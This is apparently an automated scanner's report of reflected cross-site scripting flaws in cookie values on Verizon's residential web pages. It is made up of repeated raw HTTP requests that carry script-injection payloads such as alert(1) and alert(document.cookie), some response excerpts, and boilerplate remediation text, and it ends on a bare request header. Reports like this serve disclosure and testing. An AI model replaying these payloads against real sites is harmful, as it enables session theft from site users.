GET /content/LearnShop/Templates/Broadband/Broadband.aspx?NRMODE=Published&NRNODEGUID=%7b6D1C874F-8C8F-4D12-833A-F5C0A068D90E%7d&NRORIGINALURL=%2fResidential%2fInternet%2f&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX3ddcf'><script>alert(1)</script>3ff6e0f8613; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 63c37'-alert(1)-'4ee76a138d6 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/verizonglobalhome/gpromo.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX63c37'-alert(1)-'4ee76a138d6; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 13383 Expires: Mon, 13 Dec 2010 00:40:01 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 00:40:01 GMT Connection: close
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2c15e<script>alert(1)</script>6cbf348ada9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX2c15e<script>alert(1)</script>6cbf348ada9; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6da55'><script>alert(1)</script>6e06b952755 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX6da55'><script>alert(1)</script>6e06b952755; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload df006<script>alert(1)</script>1560e46cc1d was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXdf006<script>alert(1)</script>1560e46cc1d; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 66f5d<script>alert(1)</script>371acd42338 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/LaConexion HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX66f5d<script>alert(1)</script>371acd42338; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a9f58'><script>alert(1)</script>3592e809316 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/LaConexion HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXa9f58'><script>alert(1)</script>3592e809316; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload d04be<script>alert(1)</script>d2de39e3c60 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/LaConexion HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXd04be<script>alert(1)</script>d2de39e3c60; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 3f12e<script>alert(1)</script>7bc795b3508 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/MarketingLanding/triple_play_M_m2m/triple_play_M_m2m HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX3f12e<script>alert(1)</script>7bc795b3508; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f42c1'><script>alert(1)</script>1cd16e065fa was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/MarketingLanding/triple_play_M_m2m/triple_play_M_m2m HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXf42c1'><script>alert(1)</script>1cd16e065fa; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the dotcomsid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4d14d"-alert(1)-"3bc6934934 was submitted in the dotcomsid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="head"><meta http-equiv="X-UA-Compatible ...[SNIP]... <script type="text/javascript"> function startmenu() { } var mvzOptIn="N"; var strdotcomval = "4d14d"-alert(1)-"3bc6934934" if(mvzOptIn != 'Y' || strdotcomval == "") { var m_view = new VZT.MasterNavView(); var m_model = {container: document.getElementB ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload ddbdf<script>alert(1)</script>a64be643975 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TXddbdf<script>alert(1)</script>a64be643975; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 121043 Expires: Mon, 13 Dec 2010 00:40:35 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 00:40:35 GMT Connection: close Set-Cookie: ContextInfo_State=; expires=Sun, 12-Dec-2010 00:40:34 GMT; path=/ Set-Cookie: ContextInfo_State=TXddbdf<script>alert(1)</script>a64be643975; path=/ Set-Cookie: BTagRequired=N; domain=.verizon.com; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="head"><meta http-equiv="X-UA-Compatible ...[SNIP]... <span runat="server" id="spnvzapp">TXDDBDF<SCRIPT>ALERT(1)</SCRIPT>A64BE643975 . </span> ...[SNIP]...
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload c4d3d<script>alert(1)</script>87b5ccc72d4 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXc4d3d<script>alert(1)</script>87b5ccc72d4; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a6213'><script>alert(1)</script>5f9eeabfeee was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXa6213'><script>alert(1)</script>5f9eeabfeee; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload dc751<script>alert(1)</script>d84dcb1ffe9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload db07c'><script>alert(1)</script>3ae92b157f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload bc1c1<script>alert(1)</script>1aae131b655 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 205cc<script>alert(1)</script>24dd7f8344c was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_dp_fi_uc/fiosbundles_dp_fi_uc.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX205cc<script>alert(1)</script>24dd7f8344c; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e59fe'><script>alert(1)</script>34aec5a8001 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_dp_fi_uc/fiosbundles_dp_fi_uc.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXe59fe'><script>alert(1)</script>34aec5a8001; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b24ee'><script>alert(1)</script>2453c968171 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_tp_fi_tv_extremehd/fiosbundles_tp_fi_tv_extremehd.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb24ee'><script>alert(1)</script>2453c968171; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 4a20a<script>alert(1)</script>bec38fb087e was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/fiosbundles_tp_fi_tv_extremehd/fiosbundles_tp_fi_tv_extremehd.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX4a20a<script>alert(1)</script>bec38fb087e; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 3f4ec<script>alert(1)</script>6f8b4c3d6d2 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
